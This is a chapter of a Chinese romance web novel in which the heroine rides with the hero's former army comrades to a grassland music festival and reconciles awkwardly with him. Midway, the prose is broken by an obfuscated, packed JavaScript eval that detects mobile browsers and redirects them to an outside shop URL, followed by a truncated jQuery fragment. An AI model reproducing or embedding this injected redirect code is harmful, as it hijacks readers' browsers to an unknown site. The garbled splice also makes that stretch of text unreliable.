文趣网 > 都市小说 > 渣了男神的小叔 > 30. 草原第30天
    傍晚,白书杳换上了一套宝红色的蒙古袍,手里捏着同色系额饰犹犹豫豫。这个额饰还是上次去镇里苏日娜送她的一套服饰。

    那天以后苏日娜没在来过民宿,也不知道是生她气还是真有事。想说句话都找不到人。

    白书杳把玛瑙额饰放回木盒里,走出一步又转回去把额饰戴在头上,送给她了,就是她的,凭什么不带。

    拾掇好自己,推开房车门一个人都没有。

    一阵风吹过,拂动她额前的头饰和耳坠,白书杳的好心情也随着风散了个干净。

    几天前还是墨岩接她去现场的呢,不就是吵个架,他就不来了,难道还等着她上赶着去哄他?

    要不是没有B票的证,她就自己开房车去。

    正想着要不要买辆车送过来,忽然一道汽笛声在门前响起。

    白书杳放回手机慢悠悠的抬头,正准备挖苦一下墨岩时,却瞧见扶闵洋坐在一辆SUV里朝她笑。

    “晓敏上车,这是我租来的车。”

    白书杳踌躇不前,一个小时前摆渡车的司机和她打过招呼,但她正在化妆也不好意思要人等,还以为墨岩会来找她。

    这男人可真没自觉。

    白书杳没再犹豫,有车凭什么不坐?

    刚走出一步,车后面传来马蹄踏地的声音,紧接着一身白色蒙古袍的周铁骑在马上勒紧缰绳,手里牵着另外一匹马走过来,身后跟着三五个战友。

    “晓敏,我们还没比过,要试试吗?”

    “好啊。”

    白书杳看了扶闵洋难堪的脸色:“那我还是和周铁走吧。”

    说完,她接过缰绳翻身上马,扭身看向周铁说:“正好我有事情和你说。”

    周铁骑着马路过驾驶位,十分友善的点了一下头。

    扶闵洋保持着微笑,手搭在车窗上,真皮层抠出两道白印,眼睁睁望着七匹黑马几乎同时出发,在夕阳下狂奔。

    暮色渐浓,地平线处的橘红渐渐被繁星驱逐。

    几人齐头并进,白书杳左右扫了两眼他们的距离:“你们在让着我?”

    周铁笑了笑:“没有,我马术不如墨岩好。”

    白书杳勒紧缰绳速度慢了下来,周铁等人紧随其后。

    “有一件事要和你说,关于你女儿配型的事情,扶闵洋的舅舅是这方面的专家,我聊过了,你可以带孩子去帝都肿瘤医院。”

    “晓敏,谢谢你。”周铁面带感激:“真的很感谢你。”

    “我也没做什么,主要是扶闵洋联系的,我只是代为转达。”

    “但是墨岩已经帮宁宁找到配型了。”

    白书杳诧异:“找到了?这么快。”

    “其实已经找了两年多了。”

    白书杳随着几人的步伐朝着音乐节而去,听着周铁娓娓道来。

    两年前周铁的女儿确诊尿毒症,走投无路下时恰好在医院偶遇墨岩铎。

    自那时起,墨岩铎就动用了墨家能用的力量去找孩子合适的肾源,也是从那时候得知除了周铁,老五和小陈都在帝都工作。

    但谁都没敢联系墨岩铎。

    白书杳听到这里打断了他的话:“为什么不敢联系?”

    “因为墨岩不是因伤退役,他被家里强行带回去的时候闹得很难堪,他父亲反对他继续当兵,我们不敢和他说,怕他触景生情。”

    “那后来呢,他是怎么来的草原?”

    “小陈在帝都酒吧打工的时候得罪了几个富二代,恰好那天墨岩去酒吧找他,和那群人打起来了,这事闹得也挺大,墨岩在看守所拘留了15天,出来后就联系我们来草原。”

    白书杳抿了抿唇:“快三十岁了,还这么热血啊。”

    周铁和其他几个战友爽朗大笑:“对啊,男人致死是少年嘛。”

    白书杳脑子里灵光一闪,能在两年之内找到肾源,应该不是普通的家庭吧。

    难道和墨泽礼真是亲戚?

    她问道:“他父亲叫什么?和帝都的墨家有什么关系?”

    身旁多出一匹马,维多抻着脖子说:“这我们就不知道了,但是老大家庭条件不差。”

    白书杳对此怀疑更深,假设他真的和墨泽礼有关系,又被家里赶出来断了经济来源所以才会这么抠门。

    好像也说得通。

    为了印证这个想法,白书杳主动拿出手机给墨泽礼发去了消息。

    虽然是曾经的男神,又是同校的校友,但说到底还没和他老婆见面次数多。

    看着还是上次求婚时发来的消息,白书杳想了一下措辞。

    小布丁:【墨总,你在吗?有件事想问一下,你有堂哥吗?】

    消息发出去不到一分钟就有了回复。

    墨:【我是家里老大,只有堂弟,你问这个做什么?】

    白书杳看着他发来的消息,长子,难道是叔叔或者舅舅?

    白书杳在手机上打字:【那你】

    还没打完,旁边的维多嚎了一嗓子,吓得白书杳手一抖手机掉了。

    周铁踹了他一脚马屁股,翻身下马去捡手机:“你有病啊,看把晓敏吓得,你痔疮犯了?”

    “我前女友要来找我!”维多举着手机,双眼亮的惊人。

    其他人陆陆续续的“切”了一声。

    白书杳从周铁手里接回手机已经摔的自动关机。

    她对维多的一惊一乍也有所耳闻,只是自己成为受害者的时候,还是被吓得不轻。

    手机举到她面前,维多对全场唯一的女性发来疑问:“她会不会是来找我复合的?”

    白书杳接过手机仔细分析了一下简短的对话,又点开女生的头像。

    小小的报复了一下维多:“她可能是和男朋友来的。”

    一阵风吹来,她听到了维多心碎的声音,见他眼里的光黯淡下去,突然有种负罪感是怎么回事?

    周铁问:“晓敏,你咋知道她有男朋友?”

    白书杳:“她头像里戴的眼镜虽然是巴宝莉三年前的旧款,但确实是男士款。”

    周铁瞅了一眼黯然神伤的维多:“或许她喜欢男士墨镜呢。”

    白书杳来了兴致:“我还有证据,她项链戴的是巴宝莉情侣项链的女士款,也是三年前的旧款,由此可得出结论,他们已经谈了三年恋爱。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770898|208127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白书杳见大家的表情都怪怪的,尤其是维多都快哭了。

    她把手机还给他,劝慰道:“我也是想让你认清现实,总比看到他们的时候受打击要好,分就分了吧,下一个更好。”

    维多眼泛泪光:“可是,我们是去年才分的手。”

    “……”白书杳:我真该死啊。

    她不自然的扣了扣下巴:“也不一定准,兴许,兴许是那男的预算不足,买的旧款呢,呵呵。”

    周铁拍了拍维多的肩膀,催促道:“对,我们快去活动现场。”

    之后一路上没人再说话,白书杳抿紧嘴巴,决定不再多说。

    周铁心细的发现了她的尴尬,还劝了她两句。

    更尴尬了…

    -

    七点多的时候,活动现场的布置已经接近尾声,这次那达慕大会举办的非常成功,不仅上了热搜,还上了视频热门搜索,为小镇的GDP助力,主办方邀请了当地的乐队歌手来助唱。

    那顺又参加了这次招商冠名,那顺牛肉店的横幅在一众大牌冠名商面前有点不够看,但却是本土唯一上了名单的冠名商。

    墨岩铎很不理解那顺为什么要冠名这次音乐节,他看起来也不像是要打造牛肉连锁店的人。

    另一边的小陈挂好横幅,从梯子上走下来,调侃道:“叔啊,你这次得挣不少钱吧,以后你不开连锁店,别忘了给我们民宿打折啊。”

    “挣什么钱啊,我还倒赔了10多万呢。”那顺从手里掏出烟递给墨岩铎。

    墨岩铎没接:“戒了。”

    那顺把烟别在耳后,点燃手里的烟,问道:“咋戒了呢?”

    墨岩铎想说“女朋友不喜欢”,但又想到丁晓敏和扶闵洋说他们根本没有在一起,心情又沉闷了几分:“我去挂外面的横幅。”

    那顺看着他离去的背影有点纳闷,刚要拦住他,就被小陈给打断了。

    “叔,你咋还赔钱了呢?”

    “别提了,还不是苏日娜那事儿闹的…”

    两人的交谈声越来越远。墨岩铎攥着横幅走到会场外面,恰逢看到迎面而来的一群骑马的人。

    天色渐晚,但他一眼便看见了一身火红色的女孩,于暮色中骑马而来,调试的镁光灯给她镀了一层柔和的光。

    她无论笑与不笑,那张唇瓣都天然上翘,漂亮的狐狸眼,确实能勾走人的心。

    墨岩铎站在原地不知是该先道歉还是质问,又或者什么都不说。

    “老大,我们帮你。”

    几个战友陆陆续续下马,挤眉弄眼说:“晓敏来了,你怎么不过去?这些我们来就行了。”

    “就是,你说你怎么不知道什么是正事呢,今天差点就让那个洋鬼子钻了空子,还好我们多借了一匹马。”

    “快去快去。”

    几个战友抢过他手里的横幅,把墨岩铎推到一边。正好看到白书杳下马,站在离他三步远的位置。

    两个人就那么静静的站着,谁也不肯开口。

    白书杳掌心磨了磨缰绳,这个大木头,难不成还要她先开口?

    你不开口,我也不开口。

    看谁先开口!